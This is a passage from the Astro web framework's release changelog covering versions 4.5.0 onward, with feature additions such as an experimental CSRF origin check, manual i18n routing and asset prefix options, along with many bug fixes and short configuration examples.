[#&#8203;10678](https://github.com/withastro/astro/pull/10678) [`2e53b5fff6d292b7acdf8c30a6ecf5e5696846a1`](https://github.com/withastro/astro/commit/2e53b5fff6d292b7acdf8c30a6ecf5e5696846a1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new experimental security option to prevent [Cross-Site Request Forgery (CSRF) attacks](https://owasp.org/www-community/attacks/csrf). This feature is available only for pages rendered on demand: ```js import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { security: { csrfProtection: { origin: true, }, }, }, }); ``` Enabling this setting performs a check that the "origin" header, automatically passed by all modern browsers, matches the URL sent by each `Request`. This experimental "origin" check is executed only for pages rendered on demand, and only for the requests `POST, `PATCH`, `DELETE`and`PUT`with one of the following`content-type\` headers: 'application/x-www-form-urlencoded', 'multipart/form-data', 'text/plain'. It the "origin" header doesn't match the pathname of the request, Astro will return a 403 status code and won't render the page. - [#&#8203;10193](https://github.com/withastro/astro/pull/10193) [`440681e7b74511a17b152af0fd6e0e4dc4014025`](https://github.com/withastro/astro/commit/440681e7b74511a17b152af0fd6e0e4dc4014025) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new i18n routing option `manual` to allow you to write your own i18n middleware: ```js import { defineConfig } from 'astro/config'; // astro.config.mjs export default defineConfig({ i18n: { locales: ['en', 'fr'], defaultLocale: 'fr', routing: 'manual', }, }); ``` Adding `routing: "manual"` to your i18n config disables Astro's own i18n middleware and provides you with helper functions to write your own: `redirectToDefaultLocale`, `notFound`, and `redirectToFallback`: ```js // middleware.js import { redirectToDefaultLocale } from 'astro:i18n'; export const onRequest = defineMiddleware(async (context, next) => { if (context.url.startsWith('/about')) { return next(); } else { return redirectToDefaultLocale(context, 302); } }); ``` Also adds a `middleware` function that manually creates Astro's i18n middleware. This allows you to extend Astro's i18n routing instead of completely replacing it. Run `middleware` in combination with your own middleware, using the `sequence` utility to determine the order: ```js title="src/middleware.js" import { defineMiddleware, sequence } from 'astro:middleware'; import { middleware } from 'astro:i18n'; // Astro's own i18n routing config export const userMiddleware = defineMiddleware(); export const onRequest = sequence( userMiddleware, middleware({ redirectToDefaultLocale: false, prefixDefaultLocale: true, }) ); ``` - [#&#8203;10671](https://github.com/withastro/astro/pull/10671) [`9e14a78cb05667af9821948c630786f74680090d`](https://github.com/withastro/astro/commit/9e14a78cb05667af9821948c630786f74680090d) Thanks [@&#8203;fshafiee](https://github.com/fshafiee)! - Adds the `httpOnly`, `sameSite`, and `secure` options when deleting a cookie ##### Patch Changes - [#&#8203;10747](https://github.com/withastro/astro/pull/10747) [`994337c99f84304df1147a14504659439a9a7326`](https://github.com/withastro/astro/commit/994337c99f84304df1147a14504659439a9a7326) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where functions could not be used as named slots. - [#&#8203;10750](https://github.com/withastro/astro/pull/10750) [`7e825604ddf90c989537e07939a39dc249343897`](https://github.com/withastro/astro/commit/7e825604ddf90c989537e07939a39dc249343897) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Fixes a false positive for "Invalid `tabindex` on non-interactive element" rule for roleless elements ( `div` and `span` ). - [#&#8203;10745](https://github.com/withastro/astro/pull/10745) [`d51951ce6278d4b59deed938d65e1cb72b5102df`](https://github.com/withastro/astro/commit/d51951ce6278d4b59deed938d65e1cb72b5102df) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where CLI commands could not report the reason for failure before exiting. - [#&#8203;10661](https://github.com/withastro/astro/pull/10661) [`e2cd7f4291912dadd4a654bc7917856c58a72a97`](https://github.com/withastro/astro/commit/e2cd7f4291912dadd4a654bc7917856c58a72a97) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - Fixed errorOverlay theme toggle bug. - Updated dependencies \[[`ccafa8d230f65c9302421a0ce0a0adc5824bfd55`](https://github.com/withastro/astro/commit/ccafa8d230f65c9302421a0ce0a0adc5824bfd55), [`683d51a5eecafbbfbfed3910a3f1fbf0b3531b99`](https://github.com/withastro/astro/commit/683d51a5eecafbbfbfed3910a3f1fbf0b3531b99)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;5.1.0 - [@&#8203;astrojs/telemetry](https://github.com/astrojs/telemetry)@&#8203;3.1.0 ### [`v4.5.18`](https://github.com/withastro/astro/releases/tag/astro%404.5.18) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.17...astro@4.5.18) ##### Patch Changes - [#&#8203;10728](https://github.com/withastro/astro/pull/10728) [`f508c4b7d54316e737f454a3777204b23636d4a0`](https://github.com/withastro/astro/commit/f508c4b7d54316e737f454a3777204b23636d4a0) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where some very **specific** code rendered using `expressive-code` was not escaped properly. - [#&#8203;10737](https://github.com/withastro/astro/pull/10737) [`8a30f257b1f3618b01212a591b82ad7a63c82fbb`](https://github.com/withastro/astro/commit/8a30f257b1f3618b01212a591b82ad7a63c82fbb) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes a regression where constructing and returning 404 responses from a middleware resulted in the dev server getting stuck in a loop. - [#&#8203;10719](https://github.com/withastro/astro/pull/10719) [`b21b3ba307235510707ee9f5bd49f71473a07004`](https://github.com/withastro/astro/commit/b21b3ba307235510707ee9f5bd49f71473a07004) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a false positive for `div` and `span` elements when running the Dev Toolbar accessibility audits. Those are special elements that don't have an interaction assigned by default. Instead, it is assigned through the `role` attribute. This means that cases like the following are now deemed correct: ```html <div role="tablist"></div> <span role="button" onclick="" onkeydown=""></span> ``` ### [`v4.5.17`](https://github.com/withastro/astro/releases/tag/astro%404.5.17) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.16...astro@4.5.17) ##### Patch Changes - [#&#8203;10688](https://github.com/withastro/astro/pull/10688) [`799f6f3f29a3ef4f76347870a209ffa89651adfa`](https://github.com/withastro/astro/commit/799f6f3f29a3ef4f76347870a209ffa89651adfa) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Marks renderer `jsxImportSource` and `jsxTransformOptions` options as deprecated as they are no longer used since Astro 3.0 - [#&#8203;10657](https://github.com/withastro/astro/pull/10657) [`93d353528fa1a85b67e3f1e9514ed2a1b42dfd94`](https://github.com/withastro/astro/commit/93d353528fa1a85b67e3f1e9514ed2a1b42dfd94) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Improves the color contrast for notification badges on dev toolbar apps - [#&#8203;10693](https://github.com/withastro/astro/pull/10693) [`1d26e9c7f7d8f47e33bc68d3b30bbffce25c7b63`](https://github.com/withastro/astro/commit/1d26e9c7f7d8f47e33bc68d3b30bbffce25c7b63) Thanks [@&#8203;apetta](https://github.com/apetta)! - Adds the `disableremoteplayback` attribute to MediaHTMLAttributes interface - [#&#8203;10695](https://github.com/withastro/astro/pull/10695) [`a15975e41cb5eaf6ed8eb3ebaee676a17e433052`](https://github.com/withastro/astro/commit/a15975e41cb5eaf6ed8eb3ebaee676a17e433052) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Skips prerender chunk if building with static output - [#&#8203;10707](https://github.com/withastro/astro/pull/10707) [`5e044a5eafaa206d2ef8b62c37d1bcd37f0a4078`](https://github.com/withastro/astro/commit/5e044a5eafaa206d2ef8b62c37d1bcd37f0a4078) Thanks [@&#8203;horo-fox](https://github.com/horo-fox)! - Logs an error when a page's `getStaticPaths` fails - [#&#8203;10686](https://github.com/withastro/astro/pull/10686) [`fa0f593890502faf5709ab881fe0e45519d2f7af`](https://github.com/withastro/astro/commit/fa0f593890502faf5709ab881fe0e45519d2f7af) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Prevents inlining scripts if used by other chunks when using the `experimental.directRenderScript` option ### [`v4.5.16`](https://github.com/withastro/astro/releases/tag/astro%404.5.16) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.15...astro@4.5.16) ##### Patch Changes - [#&#8203;10679](https://github.com/withastro/astro/pull/10679) [`ca6bb1f31ef041e6ccf8ef974856fa945ff5bb31`](https://github.com/withastro/astro/commit/ca6bb1f31ef041e6ccf8ef974856fa945ff5bb31) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Generates missing popstate events for Firefox when navigating to hash targets on the same page. - [#&#8203;10669](https://github.com/withastro/astro/pull/10669) [`0464563e527f821e53d78028d9bbf3c4e1050f5b`](https://github.com/withastro/astro/commit/0464563e527f821e53d78028d9bbf3c4e1050f5b) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes Astro waiting infinitely in CI when a required package was not installed ### [`v4.5.15`](https://github.com/withastro/astro/releases/tag/astro%404.5.15) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.14...astro@4.5.15) ##### Patch Changes - [#&#8203;10666](https://github.com/withastro/astro/pull/10666) [`55ddb2ba4889480f776a8d29b9dcd531b9f5ab3e`](https://github.com/withastro/astro/commit/55ddb2ba4889480f776a8d29b9dcd531b9f5ab3e) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where forwarded requests did not include hostname on node-based adapters. This also makes error pages more reliable. - [#&#8203;10642](https://github.com/withastro/astro/pull/10642) [`4f5dc14f315eba7ea6ec5cc8e5dacb0cb81288dd`](https://github.com/withastro/astro/commit/4f5dc14f315eba7ea6ec5cc8e5dacb0cb81288dd) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Fixes typing issues when using `format` and `quality` options with remote images - [#&#8203;10616](https://github.com/withastro/astro/pull/10616) [`317d18ef8c9cf4fd13647518e3fd352774a86481`](https://github.com/withastro/astro/commit/317d18ef8c9cf4fd13647518e3fd352774a86481) Thanks [@&#8203;NikolaRHristov](https://github.com/NikolaRHristov)! - This change disables the `sharp` `libvips` image cache as it errors when the file is too small and operations are happening too fast (runs into a race condition) ### [`v4.5.14`](https://github.com/withastro/astro/releases/tag/astro%404.5.14) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.13...astro@4.5.14) ##### Patch Changes - [#&#8203;10470](https://github.com/withastro/astro/pull/10470) [`320c309ca9fbe51c40e6ba846d04a0cb49aced5f`](https://github.com/withastro/astro/commit/320c309ca9fbe51c40e6ba846d04a0cb49aced5f) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - improves `client:only` error message - [#&#8203;10496](https://github.com/withastro/astro/pull/10496) [`ce985631129e49f7ea90e6ea690ef9f9cf0e6987`](https://github.com/withastro/astro/commit/ce985631129e49f7ea90e6ea690ef9f9cf0e6987) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Makes the warning less scary when adding 3rd-party integrations using `astro add` ### [`v4.5.13`](https://github.com/withastro/astro/releases/tag/astro%404.5.13) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.12...astro@4.5.13) ##### Patch Changes - [#&#8203;10495](https://github.com/withastro/astro/pull/10495) [`046d69d517118ab5c0e71604b321729d66ddffff`](https://github.com/withastro/astro/commit/046d69d517118ab5c0e71604b321729d66ddffff) Thanks [@&#8203;satyarohith](https://github.com/satyarohith)! - This patch allows astro to run in node-compat mode in Deno. Deno doesn't support construction of response from async iterables in node-compat mode so we need to use ReadableStream. - [#&#8203;10605](https://github.com/withastro/astro/pull/10605) [`a16a829f4e25ad5c9a1b4557ec089fc8ab53320f`](https://github.com/withastro/astro/commit/a16a829f4e25ad5c9a1b4557ec089fc8ab53320f) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue with outdated page titles in browser history when using text fragments in view transition navigation. - [#&#8203;10584](https://github.com/withastro/astro/pull/10584) [`e648c5575a8774af739231cfa9fc27a32086aa5f`](https://github.com/withastro/astro/commit/e648c5575a8774af739231cfa9fc27a32086aa5f) Thanks [@&#8203;duanwilliam](https://github.com/duanwilliam)! - Fixes a bug where JSX runtime would error on components with nullish prop values in certain conditions. - [#&#8203;10608](https://github.com/withastro/astro/pull/10608) [`e31bea0704890ff92ce4f9b0ce536c1c90715f2c`](https://github.com/withastro/astro/commit/e31bea0704890ff92ce4f9b0ce536c1c90715f2c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes bug with head content being pushed into body - Updated dependencies \[[`2cf116f80cb5e421ab5cc5eb4a654e7b78c1b8de`](https://github.com/withastro/astro/commit/2cf116f80cb5e421ab5cc5eb4a654e7b78c1b8de), [`374efcdff9625ca43309d89e3b9cfc9174351512`](https://github.com/withastro/astro/commit/374efcdff9625ca43309d89e3b9cfc9174351512)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;5.0.0 ### [`v4.5.12`](https://github.com/withastro/astro/releases/tag/astro%404.5.12) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.11...astro@4.5.12) ##### Patch Changes - [#&#8203;10596](https://github.com/withastro/astro/pull/10596) [`20463a6c1e1271d8dc3cb0ab3419ee5c72abd218`](https://github.com/withastro/astro/commit/20463a6c1e1271d8dc3cb0ab3419ee5c72abd218) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Add `removeBase` function - Updated dependencies \[[`20463a6c1e1271d8dc3cb0ab3419ee5c72abd218`](https://github.com/withastro/astro/commit/20463a6c1e1271d8dc3cb0ab3419ee5c72abd218)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.4.0 ### [`v4.5.11`](https://github.com/withastro/astro/releases/tag/astro%404.5.11) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.10...astro@4.5.11) ##### Patch Changes - [#&#8203;10567](https://github.com/withastro/astro/pull/10567) [`fbdc10f90f7baa5c49f2f53e3e4ce8f453814c01`](https://github.com/withastro/astro/commit/fbdc10f90f7baa5c49f2f53e3e4ce8f453814c01) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `astro:assets` not working when using complex config with `vite.build.rollupOptions.output.assetFileNames` - [#&#8203;10593](https://github.com/withastro/astro/pull/10593) [`61e283e5a0d95b6ef5d3c4c985d6ee78f74bbd8e`](https://github.com/withastro/astro/commit/61e283e5a0d95b6ef5d3c4c985d6ee78f74bbd8e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes Polymorphic type helper causing TypeScript errors in certain cases after the previous update - [#&#8203;10543](https://github.com/withastro/astro/pull/10543) [`0fd36bdb383297b32cc523b57d2442132da41595`](https://github.com/withastro/astro/commit/0fd36bdb383297b32cc523b57d2442132da41595) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes inline stylesheets with content collections cache - [#&#8203;10582](https://github.com/withastro/astro/pull/10582) [`a05953538fcf524786385830b99c0c5a015173e8`](https://github.com/withastro/astro/commit/a05953538fcf524786385830b99c0c5a015173e8) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where the dev server got stuck in a loop while routing responses with a 404 status code to the 404 route. ### [`v4.5.10`](https://github.com/withastro/astro/releases/tag/astro%404.5.10) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.9...astro@4.5.10) ##### Patch Changes - [#&#8203;10549](https://github.com/withastro/astro/pull/10549) [`54c2f9707f5d038630143f769e3075c698474654`](https://github.com/withastro/astro/commit/54c2f9707f5d038630143f769e3075c698474654) Thanks [@&#8203;admirsaheta](https://github.com/admirsaheta)! - Updates the `HTMLAttributes` type exported from `astro` to allow data attributes - [#&#8203;10562](https://github.com/withastro/astro/pull/10562) [`348c1ca1323d0516c2dcf8e963343cd12cb5407f`](https://github.com/withastro/astro/commit/348c1ca1323d0516c2dcf8e963343cd12cb5407f) Thanks [@&#8203;apetta](https://github.com/apetta)! - Fixes minor type issues inside the built-in components of Astro - [#&#8203;10550](https://github.com/withastro/astro/pull/10550) [`34fa8e131b85531e6629390307108ffc4adb7ed1`](https://github.com/withastro/astro/commit/34fa8e131b85531e6629390307108ffc4adb7ed1) Thanks [@&#8203;Skn0tt](https://github.com/Skn0tt)! - Fixes bug where server builds would include unneeded assets in SSR Function, potentially leading to upload errors on Vercel, Netlify because of size limits - Updated dependencies \[[`c585528f446ccca3d4c643f4af5d550b93c18902`](https://github.com/withastro/astro/commit/c585528f446ccca3d4c643f4af5d550b93c18902)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.3.2 ### [`v4.5.9`](https://github.com/withastro/astro/releases/tag/astro%404.5.9) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.8...astro@4.5.9) ##### Patch Changes - [#&#8203;10532](https://github.com/withastro/astro/pull/10532) [`8306ce1ff7b71a2a0d7908336c9be462a54d395a`](https://github.com/withastro/astro/commit/8306ce1ff7b71a2a0d7908336c9be462a54d395a) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes a style issue of `client:only` components in DEV mode during view transitions. - [#&#8203;10473](https://github.com/withastro/astro/pull/10473) [`627e47d67af4846cea2acf26a96b4124001b26fc`](https://github.com/withastro/astro/commit/627e47d67af4846cea2acf26a96b4124001b26fc) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes and improves performance when rendering Astro JSX ### [`v4.5.8`](https://github.com/withastro/astro/releases/tag/astro%404.5.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.7...astro@4.5.8) ##### Patch Changes - [#&#8203;10504](https://github.com/withastro/astro/pull/10504) [`8e4e554cc211e59c329c0a5d110c839c886ff120`](https://github.com/withastro/astro/commit/8e4e554cc211e59c329c0a5d110c839c886ff120) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Update Babel version to fix regression in Babel's `7.24.2`. - Updated dependencies \[[`19e42c368184013fc30d1e46753b9e9383bb2bdf`](https://github.com/withastro/astro/commit/19e42c368184013fc30d1e46753b9e9383bb2bdf)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.3.1 ### [`v4.5.7`](https://github.com/withastro/astro/releases/tag/astro%404.5.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.6...astro@4.5.7) ##### Patch Changes - [#&#8203;10493](https://github.com/withastro/astro/pull/10493) [`e4a6462751725878bfe47632eeafa6854cad5bf2`](https://github.com/withastro/astro/commit/e4a6462751725878bfe47632eeafa6854cad5bf2) Thanks [@&#8203;firefoxic](https://github.com/firefoxic)! - `<link>` tags created by astro for optimized stylesheets now do not include the closing forward slash. This slash is optional for void elements such as link, but made some html validation fail. ### [`v4.5.6`](https://github.com/withastro/astro/releases/tag/astro%404.5.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.5...astro@4.5.6) ##### Patch Changes - [#&#8203;10455](https://github.com/withastro/astro/pull/10455) [`c12666166db724915e42e37a048483c99f88e6d9`](https://github.com/withastro/astro/commit/c12666166db724915e42e37a048483c99f88e6d9) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Adds a helpful error message that will be shown when an endpoint does not return a `Response`. - [#&#8203;10426](https://github.com/withastro/astro/pull/10426) [`6a9a35ee15069541c3144012385366a3c689240a`](https://github.com/withastro/astro/commit/6a9a35ee15069541c3144012385366a3c689240a) Thanks [@&#8203;markgaze](https://github.com/markgaze)! - Fixes an issue with generating JSON schemas when the schema is a function - [#&#8203;10448](https://github.com/withastro/astro/pull/10448) [`fcece3658697248ab58f77b3d4a8b14d362f3c47`](https://github.com/withastro/astro/commit/fcece3658697248ab58f77b3d4a8b14d362f3c47) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where multiple rendering errors resulted in a crash of the SSR app server. ### [`v4.5.5`](https://github.com/withastro/astro/releases/tag/astro%404.5.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.4...astro@4.5.5) ##### Patch Changes - [#&#8203;10379](https://github.com/withastro/astro/pull/10379) [`3776ecf0aa9e08a992d3ae76e90682fd04093721`](https://github.com/withastro/astro/commit/3776ecf0aa9e08a992d3ae76e90682fd04093721) Thanks [@&#8203;1574242600](https://github.com/1574242600)! - Fixes a routing issue with partially truncated dynamic segments. - [#&#8203;10442](https://github.com/withastro/astro/pull/10442) [`f8e0ad3c52a37b8a2175fe2f5ff2bd0cd738f499`](https://github.com/withastro/astro/commit/f8e0ad3c52a37b8a2175fe2f5ff2bd0cd738f499) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes small rendering issues with the dev toolbar in certain contexts - [#&#8203;10438](https://github.com/withastro/astro/pull/10438) [`5b48cc0fc8383b0659a595afd3a6ee28b28779c3`](https://github.com/withastro/astro/commit/5b48cc0fc8383b0659a595afd3a6ee28b28779c3) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Generate Astro DB types when running `astro sync`. - [#&#8203;10456](https://github.com/withastro/astro/pull/10456) [`1900a8f9bc337f3a882178d1770e10ab67fab0ce`](https://github.com/withastro/astro/commit/1900a8f9bc337f3a882178d1770e10ab67fab0ce) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an error when using `astro:transtions/client` without `<ViewTransitions/>` ### [`v4.5.4`](https://github.com/withastro/astro/releases/tag/astro%404.5.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.3...astro@4.5.4) ##### Patch Changes - [#&#8203;10427](https://github.com/withastro/astro/pull/10427) [`128c7a36397d99608dea918885b68bd302d00e7f`](https://github.com/withastro/astro/commit/128c7a36397d99608dea918885b68bd302d00e7f) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where error pages did not have access to the `Astro.locals` fields provided by the adapter. ### [`v4.5.3`](https://github.com/withastro/astro/releases/tag/astro%404.5.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.2...astro@4.5.3) ##### Patch Changes - [#&#8203;10410](https://github.com/withastro/astro/pull/10410) [`055fe293c6702dd27bcd6c4f59297c6d4385abb1`](https://github.com/withastro/astro/commit/055fe293c6702dd27bcd6c4f59297c6d4385abb1) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where configured redirects could not include certain characters in the target path. - [#&#8203;9820](https://github.com/withastro/astro/pull/9820) [`8edc42aa7c209b12d98ecf20cdecccddf7314af0`](https://github.com/withastro/astro/commit/8edc42aa7c209b12d98ecf20cdecccddf7314af0) Thanks [@&#8203;alexnguyennz](https://github.com/alexnguyennz)! - Prevents fully formed URLs in attributes from being escaped ### [`v4.5.2`](https://github.com/withastro/astro/releases/tag/astro%404.5.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.1...astro@4.5.2) ##### Patch Changes - [#&#8203;10400](https://github.com/withastro/astro/pull/10400) [`629c9d7c4d96ae5711d95601e738b3d31d268116`](https://github.com/withastro/astro/commit/629c9d7c4d96ae5711d95601e738b3d31d268116) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes an issue where dev toolbar x-ray didn't escape props content. ### [`v4.5.1`](https://github.com/withastro/astro/releases/tag/astro%404.5.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.0...astro@4.5.1) ##### Patch Changes - [#&#8203;10392](https://github.com/withastro/astro/pull/10392) [`02aeb01cb8b62b9cc4dfe6069857219404343b73`](https://github.com/withastro/astro/commit/02aeb01cb8b62b9cc4dfe6069857219404343b73) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes broken types for some functions of `astro:transitions/client`. - [#&#8203;10390](https://github.com/withastro/astro/pull/10390) [`236cdbb611587692d3c781850cb949604677ef82`](https://github.com/withastro/astro/commit/236cdbb611587692d3c781850cb949604677ef82) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds `--help` reference for new db and studio CLI commands ### [`v4.5.0`](https://github.com/withastro/astro/releases/tag/astro%404.5.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.15...astro@4.5.0) ##### Minor Changes - [#&#8203;10206](https://github.com/withastro/astro/pull/10206) [`dc87214141e7f8406c0fdf6a7f425dad6dea6d3e`](https://github.com/withastro/astro/commit/dc87214141e7f8406c0fdf6a7f425dad6dea6d3e) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Allows middleware to run when a matching page or endpoint is not found. Previously, a `pages/404.astro` or `pages/[...catch-all].astro` route had to match to allow middleware. This is now not necessary. When a route does not match in SSR deployments, your adapter may show a platform-specific 404 page instead of running Astro's SSR code. In these cases, you may still need to add a `404.astro` or fallback route with spread params, or use a routing configuration option if your adapter provides one. - [#&#8203;9960](https://github.com/withastro/astro/pull/9960) [`c081adf998d30419fed97d8fccc11340cdc512e0`](https://github.com/withastro/astro/commit/c081adf998d30419fed97d8fccc11340cdc512e0) Thanks [@&#8203;StandardGage](https://github.com/StandardGage)! - Allows passing any props to the `<Code />` component - [#&#8203;10102](https://github.com/withastro/astro/pull/10102) [`e3f02f5fb1cf0dae3c54beb3a4af3dbf3b06abb7`](https://github.com/withastro/astro/commit/e3f02f5fb1cf0dae3c54beb3a4af3dbf3b06abb7) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds a new `experimental.directRenderScript` configuration option which provides a more reliable strategy to prevent scripts from being executed in pages where they are not used. This replaces the `experimental.optimizeHoistedScript` flag introduced in v2.10.4 to prevent unused components' scripts from being included in a page unexpectedly. That experimental option no longer exists and must be removed from your configuration, whether or not you enable `directRenderScript`: ```diff // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { - optimizeHoistedScript: true, + directRenderScript: true } }); ``` With `experimental.directRenderScript` configured, scripts are now directly rendered as declared in Astro files (including existing features like TypeScript, importing `node_modules`, and deduplicating scripts). You can also now conditionally render scripts in your Astro file. However, this means scripts are no longer hoisted to the `<head>` and multiple scripts on a page are no longer bundled together. If you enable this option, you should check that all your `<script>` tags behave as expected. This option will be enabled by default in Astro 5.0. - [#&#8203;10130](https://github.com/withastro/astro/pull/10130) [`5a9528741fa98d017b269c7e4f013058028bdc5d`](https://github.com/withastro/astro/commit/5a9528741fa98d017b269c7e4f013058028bdc5d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Stabilizes `markdown.shikiConfig.experimentalThemes` as `markdown.shikiConfig.themes`. No behaviour changes are made to this option. - [#&#8203;10189](https://github.com/withastro/astro/pull/10189) [`1ea0a25b94125e4f6f2ac82b42f638e22d7bdffd`](https://github.com/withastro/astro/commit/1ea0a25b94125e4f6f2ac82b42f638e22d7bdffd) Thanks [@&#8203;peng](https://github.com/peng)! - Adds the option to pass an object to `build.assetsPrefix`. This allows for the use of multiple CDN prefixes based on the target file type. When passing an object to `build.assetsPrefix`, you must also specify a `fallback` domain to be used for all other file types not specified. Specify a file extension as the key (e.g. 'js', 'png') and the URL serving your assets of that file type as the value: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ build: { assetsPrefix: { js: 'https://js.cdn.example.com', mjs: 'https://js.cdn.example.com', // if you have .mjs files, you must add a new entry like this png: 'https://images.cdn.example.com', fallback: 'https://generic.cdn.example.com', }, }, }); ``` - [#&#8203;10252](https://github.com/withastro/astro/pull/10252) [`3307cb34f17159dfd3f03144697040fcaa10e903`](https://github.com/withastro/astro/commit/3307cb34f17159dfd3f03144697040fcaa10e903) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds support for emitting warning and info notifications from dev toolbar apps. When using the `toggle-notification` event, the severity can be specified through `detail.level`: ```ts eventTarget.dispatchEvent( new CustomEvent('toggle-notification', { detail: { level: 'warning', }, }) ); ``` - [#&#8203;10186](https://github.com/withastro/astro/pull/10186) [`959ca5f9f86ef2c0a5a23080cc01c25f53d613a9`](https://github.com/withastro/astro/commit/959ca5f9f86ef2c0a5a23080cc01c25f53d613a9) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds the ability to set colors on all the included UI elements for dev toolbar apps. Previously, only badge and buttons could be customized. - [#&#8203;10136](https://github.com/withastro/astro/pull/10136) [`9cd84bd19b92fb43ae48809f575ee12ebd43ea8f`](https://github.com/withastro/astro/commit/9cd84bd19b92fb43ae48809f575ee12ebd43ea8f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Changes the default behavior of `transition:persist` to update the props of persisted islands upon navigation. Also adds a new view transitions option `transition:persist-props` (default: `false`) to prevent props from updating as needed. Islands which have the `transition:persist` property to keep their state when using the `<ViewTransitions />` router will now have their props updated upon navigation. This is useful in cases where the component relies on page-specific props, such as the current page title, which should update upon navigation. For example, the component below is set to persist across navigation. This component receives a `products` props and might have some internal state, such as which filters are applied: ```astro <ProductListing transition:persist products={products} /> ``` Upon navigation, this component persists, but the desired `products` might change, for example if you are visiting a category of products, or you are performing a search. Previously the props would not change on navigation, and your island would have to handle updating them externally, such as with API calls. With this change the props are now updated, while still preserving state. You can override this new default behavior on a per-component basis using `transition:persist-props=true` to persist both props and state during navigation: ```astro <ProductListing transition:persist-props="true" products={products} /> ``` - [#&#8203;9977](https://github.com/withastro/astro/pull/9977) [`0204b7de37bf626e1b97175b605adbf91d885386`](https://github.com/withastro/astro/commit/0204b7de37bf626e1b97175b605adbf91d885386) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Supports adding the `data-astro-rerun` attribute on script tags so that they will be re-executed after view transitions ```html <script is:inline data-astro-rerun> ... </script> ``` - [#&#8203;10145](https://github.com/withastro/astro/pull/10145) [`65692fa7b5f4440c644c8cf3dd9bc50103d2c33b`](https://github.com/withastro/astro/commit/65692fa7b5f4440c644c8cf3dd9bc50103d2c33b) Thanks [@&#8203;alexanderniebuhr](https://github.com/alexanderniebuhr)! - Adds experimental JSON Schema support for content collections. This feature will auto-generate a JSON Schema for content collections of `type: 'data'` which can be used as the `$schema` value for TypeScript-style autocompletion/hints in tools like VSCode. To enable this feature, add the experimental flag: ```diff import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { + contentCollectionJsonSchema: true } }); ``` This experimental implementation 